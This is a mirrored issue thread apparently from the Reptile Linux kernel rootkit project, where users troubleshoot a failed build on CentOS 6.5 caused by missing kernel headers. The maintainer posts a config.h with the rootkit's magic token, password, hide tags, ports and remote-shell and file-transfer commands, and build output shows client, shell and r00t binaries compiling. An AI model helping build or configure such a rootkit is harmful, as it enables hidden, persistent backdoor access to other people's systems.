Giter VIP home page Giter VIP logo

Comments (15)

corefx avatar corefx commented on August 21, 2024

Hi,
make sure that the following packages are installed:
yum install gcc make elfutils-devel.x86_64 kernel-devel-2.6.32-431.el6.x86_64

from reptile.

Hacker-One avatar Hacker-One commented on August 21, 2024

Those dependent packages have been installed.
OK, I noticed another branch about "didn't work on Centos 6"

from reptile.

Hacker-One avatar Hacker-One commented on August 21, 2024

I testing on Centos 6.6,that's OK
uname -a Linux Centos 2.6.32-696.1.1.el6.x86_64 #1 SMP Tue Apr 11 17:13:24 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

but didn't work on Centos 6.5
uname -a Linux Centos 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

from reptile.

pbr3s avatar pbr3s commented on August 21, 2024

Edit the lines 185 and 186 on the installer.sh
make all && \
make clean && \
This way the installer will return more info about whats going on in the compiler section

from reptile.

f0rb1dd3n avatar f0rb1dd3n commented on August 21, 2024

@Hacker-One,

put this into config.h in sbin folder:

#ifndef _CONFIG_H
#define _CONFIG_H

#define MAGIC_ID        25220
#define TOKEN           "hax0r"
#define PASS            "s3cr3t"
#define SHELL           "/reptile/reptile_shell"
#define START           "/reptile/reptile_start.sh"
#define HIDE            "reptile"
#define HIDETAGIN       "#<reptile>"
#define HIDETAGOUT      "#</reptile>"
#define WORKQUEUE       "/reptile_shell"
#define SRCPORT         666
#define TCPPORT         80
#define UDPPORT         53
#define HOMEDIR         "/reptile"
#define RCFILE          "/reptile/reptile_rc"
#define ERROR           -1
#define GET_FILE         1
#define PUT_FILE         2
#define RUNSHELL         3

#endif

Then, run make and put here the output please. Could you do that?

@corefx and @pbr3s, thanks your helping and contribution. I appreciate that! ;)

403

from reptile.

Hacker-One avatar Hacker-One commented on August 21, 2024

@f0rb1dd3n That'is OK follow the above configuration.
[root@biu sbin]# make
gcc -O -W -Wall -o client pel.c aes.c sha1.c client.c
gcc -O -W -Wall -o shell pel.c aes.c sha1.c shell.c -lutil -DLINUX
gcc -Wall r00t.c -o r00t
strip client shell r00t
cp client shell r00t ../bin

[root@biu sbin]# ll ../bin
total 128
-rwxr-xr-x 1 root root 64584 May 25 05:58 client
-rwxr-xr-x 1 root root 4912 May 25 05:58 r00t
-rwxr-xr-x 1 root root 56160 May 25 05:58 shell

from reptile.

Hacker-One avatar Hacker-One commented on August 21, 2024

@pbr3s in install.sh partial content about lines

183 make all > /dev/null 2>&1 &&
184 make clean > /dev/null 2>&1 && \

from reptile.

f0rb1dd3n avatar f0rb1dd3n commented on August 21, 2024

@Hacker-One

man, put put config.h but do make in main folder. Cause rep_mod.c uses that config file too.

from reptile.

Hacker-One avatar Hacker-One commented on August 21, 2024

[root@biu Reptile-master]# make
mkdir -p bin
cd sbin && make all
make[1]: Entering directory /root/Reptile-master/sbin' gcc -O -W -Wall -o client pel.c aes.c sha1.c client.c gcc -O -W -Wall -o shell pel.c aes.c sha1.c shell.c -lutil -DLINUX gcc -Wall r00t.c -o r00t strip client shell r00t cp client shell r00t ../bin make[1]: Leaving directory /root/Reptile-master/sbin'
make EXTRA_CFLAGS="-Dx86_64" -C /lib/modules/2.6.32-431.el6.x86_64/build M=/root/Reptile-master modules
make: *** /lib/modules/2.6.32-431.el6.x86_64/build: No such file or directory. Stop.
make: *** [all] Error 2
[root@biu Reptile-master]# ll
total 52
drwxr-xr-x 2 root root 4096 May 25 05:58 bin
-rw-r--r-- 1 root root 533 May 25 06:22 config.h
-rwxr-xr-x 1 root root 7557 May 24 00:23 installer.sh
-rw-r--r-- 1 root root 309 May 24 00:23 Makefile
-rw-r--r-- 1 root root 2115 May 24 00:23 README.md
-rw-r--r-- 1 root root 17245 May 24 00:23 rep_mod.c
drwxr-xr-x 2 root root 4096 May 25 06:22 sbin
drwxr-xr-x 2 root root 4096 May 24 00:23 scripts
[root@biu Reptile-master]# ll /lib/modules/2.6.32-431.el6.x86_64/build
lrwxrwxrwx. 1 root root 46 Dec 27 11:00 /lib/modules/2.6.32-431.el6.x86_64/build -> ../../../usr/src/kernels/2.6.32-431.el6.x86_64

from reptile.

f0rb1dd3n avatar f0rb1dd3n commented on August 21, 2024

@Hacker-One,

pelase run yum install kernel-devel -y && reboot and try to make again.

from reptile.

Hacker-One avatar Hacker-One commented on August 21, 2024

After the above operation,keeps making the same mistake....

from reptile.

f0rb1dd3n avatar f0rb1dd3n commented on August 21, 2024

It seems you don't have kernel headers... I don't know why. Try to run yum update and reinstall headers. I will think how we can figure it out...

from reptile.

Hacker-One avatar Hacker-One commented on August 21, 2024

Maybe you are right,my system lost kernel Symbol file. I will rebuild this kernel.

I have a suggestion,whether can detect available kernel Symbol files when before compiling the source code?

from reptile.

f0rb1dd3n avatar f0rb1dd3n commented on August 21, 2024

@Hacker-One,

did you solve this issue?

from reptile.

Hacker-One avatar Hacker-One commented on August 21, 2024

yes,It was just like you said.
Thanks

from reptile.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.